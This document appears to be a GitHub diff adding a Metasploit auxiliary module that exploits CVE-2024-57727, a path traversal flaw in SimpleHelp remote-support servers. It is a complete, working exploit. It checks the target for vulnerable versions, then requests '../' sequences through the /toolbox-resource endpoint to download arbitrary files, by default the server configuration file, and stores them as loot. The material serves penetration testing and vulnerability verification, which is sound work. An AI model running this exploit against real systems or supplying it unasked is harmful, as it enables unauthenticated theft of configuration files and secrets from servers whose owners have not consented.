|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + |
| 8 | + include Msf::Auxiliary::Report |
| 9 | + include Msf::Auxiliary::Scanner |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + |
| 12 | + prepend Msf::Exploit::Remote::AutoCheck |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super( |
| 16 | + update_info( |
| 17 | + info, |
| 18 | + 'Name' => 'SimpleHelp Path Traversal Vulnerability CVE-2024-57727', |
| 19 | + 'Description' => %q{ |
| 20 | + There exists a path traversal vulnerability in the /toolbox-resource endpoint that enables unauthenticated |
| 21 | + remote attackers to download arbitrary files from the SimpleHelp server via crafted HTTP requests |
| 22 | + }, |
| 23 | + 'Author' => [ |
| 24 | + 'horizon3ai', # discovery |
| 25 | + 'imjdl', # CVE-2024-57727 PoC |
| 26 | + 'jheysel-r7' # module |
| 27 | + ], |
| 28 | + 'References' => [ |
| 29 | + [ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/'], # Discovery |
| 30 | + [ 'URL', 'https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier'], # Vendor Advisory |
| 31 | + [ 'URL', 'https://rustlang.rs/posts/simple-help/'], # PoC for Path Traversal CVE-2024-57727 |
| 32 | + [ 'URL', 'https://attackerkb.com/topics/G4CTOrbDx0/cve-2024-57727'], # PoC for Path Traversal CVE-2024-57727 |
| 33 | + [ 'CVE', '2024-57727'], |
| 34 | + ], |
| 35 | + 'License' => MSF_LICENSE, |
| 36 | + 'DisclosureDate' => '2025-01-12', |
| 37 | + 'Notes' => { |
| 38 | + 'Stability' => [ CRASH_SAFE, ], |
| 39 | + 'SideEffects' => [ IOC_IN_LOGS, ], |
| 40 | + 'Reliability' => [ ] |
| 41 | + } |
| 42 | + ) |
| 43 | + ) |
| 44 | + |
| 45 | + register_options( |
| 46 | + [ |
| 47 | + OptString.new('TARGETURI', [true, 'The base path to SimpleHelp installation', '/']), |
| 48 | + OptString.new('FILEPATH', [true, 'The path to the file to read', 'configuration/serverconfig.xml']), |
| 49 | + OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 2 ]) |
| 50 | + ] |
| 51 | + ) |
| 52 | + end |
| 53 | + |
| 54 | + def check |
| 55 | + res = send_request_cgi( |
| 56 | + 'method' => 'GET', |
| 57 | + 'uri' => normalize_uri(target_uri.path, 'allversions') |
| 58 | + ) |
| 59 | + |
| 60 | + return Exploit::CheckCode::Unknown('Unable to retrieve SimpleHelp version.') unless res&.body =~ /Visual Version:\s*(\d+\.\d+(?:\.\d+))/ |
| 61 | + |
| 62 | + version = Rex::Version.new(Regexp.last_match(1)) |
| 63 | + |
| 64 | + # Patched versions are: 5.5.8 or 5.4.10 or 5.3.9 |
| 65 | + if version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.7')) || |
| 66 | + version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.4.9')) || |
| 67 | + version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('5.3.8')) |
| 68 | + return Exploit::CheckCode::Appears("Version detected: #{version}") |
| 69 | + end |
| 70 | + |
| 71 | + Exploit::CheckCode::Safe("Version detected: #{version}") |
| 72 | + end |
| 73 | + |
| 74 | + def run_host(ip) |
| 75 | + directory = %w[alertsdb invitations secmsg toolbox-resources backups sslconfig translations notifications techprefs history recordings templates html remotework toolbox].sample |
| 76 | + traverse = '../' * datastore['DEPTH'] |
| 77 | + |
| 78 | + res = send_request_cgi( |
| 79 | + 'method' => 'GET', |
| 80 | + 'uri' => normalize_uri(target_uri.path, "/toolbox-resource/../#{directory}/#{traverse}/#{datastore['FILEPATH']}") |
| 81 | + ) |
| 82 | + |
| 83 | + unless res&.code == 200 && res.body.present? |
| 84 | + print_error('Nothing was downloaded') |
| 85 | + return |
| 86 | + end |
| 87 | + |
| 88 | + vprint_line(res.body) |
| 89 | + print_good("Downloaded #{res.body.length} bytes") |
| 90 | + |
| 91 | + report_vuln( |
| 92 | + host: rhost, |
| 93 | + port: rport, |
| 94 | + proto: 'tcp', |
| 95 | + name: name, |
| 96 | + info: 'Module triggered a 200 reply', |
| 97 | + refs: references |
| 98 | + ) |
| 99 | + |
| 100 | + path = store_loot( |
| 101 | + 'simplehelp.traversal', |
| 102 | + 'text/plain', |
| 103 | + ip, |
| 104 | + res.body, |
| 105 | + datastore['FILEPATH'] |
| 106 | + ) |
| 107 | + print_good("File saved in: #{path}") |
| 108 | + end |
| 109 | +end |
0 commit comments